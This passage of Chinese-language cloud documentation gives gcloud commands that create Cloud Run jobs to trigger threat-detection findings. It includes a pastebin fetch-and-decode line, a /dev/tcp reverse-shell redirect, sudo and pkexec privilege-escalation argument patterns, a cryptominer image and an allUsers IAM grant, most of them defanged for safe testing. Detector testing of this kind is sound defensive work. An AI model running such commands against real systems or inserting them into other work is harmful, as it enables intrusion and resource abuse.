JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Malicious Script Executed 发现结果。

观察到恶意网址

如需触发 Malicious URL Observed 发现结果,请执行二进制程序并提供恶意网址作为参数。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会触发 Malicious URL Observed 发现结果。

权限提升:滥用 sudo 以提升权限 (CVE-2019-14287)

如需触发 Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) 发现结果,请使用 -u#-1 参数执行 sudo 二进制文件。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) 发现结果。

提升权限:sudo 潜在权限提升 (CVE-2021-3156)

如需触发 Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) 发现结果,请使用 -s 参数以及以 `` 结尾的参数执行 sudo 二进制文件。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) 发现结果。

提升权限:Polkit 本地提升权限漏洞 (CVE-2021-4034)

如需触发 Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) 发现结果,请以非根用户身份执行 pkexec 二进制文件,并设置 GCONV_PATH 环境变量。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) 发现结果。

反向 shell

如需触发 Reverse Shell 发现结果,请启动二进制文件,并将 stdin 重定向到 TCP 连接的套接字。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Reverse Shell 发现结果。

意外的子 shell

如需测试 Unexpected Child Shell 检测器,请创建一个包含子 shell 进程的进程树。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --task-timeout 700 \
      --args "-c",'sleep 601; cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; /tmp/consul -c "/tmp/sh child ran successfully & wait"; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Unexpected Child Shell 发现结果。请注意,此测试最多可能需要 15 分钟才能生成发现结果。

执行:加密货币挖矿 Docker 映像

如需触发 Execution: Cryptomining Docker Image 发现结果,请使用与加密货币挖矿软件关联的 Docker 映像名称部署容器。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image docker.io/security-test-DO-NOT-USE/xmrig:latest \
      --command sh \
      --wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Execution: Cryptomining Docker Image 发现结果。请注意,由于映像不存在,作业部署将失败,但仍会生成发现结果。

影响:加密货币挖矿命令

如需触发Impact: Cryptomining Commands发现结果,请使用类似于已知加密货币挖矿软件的参数执行命令。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command xmrig \
      --wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Impact: Cryptomining Commands 发现结果。请注意,由于该命令在映像中不存在,因此作业执行将失败,但仍会生成发现结果。

提升权限:默认 Compute Engine 服务账号 SetIAMPolicy

如需触发 Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy 发现结果,请执行一条命令,该命令使用默认 Compute Engine 服务账号来设置 Cloud Run 服务的 IAM 政策。

创建并执行 Cloud Run 作业:

JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
      --command gcloud \
      --args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

此测试过程会创建一个 Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy 发现结果。

后续步骤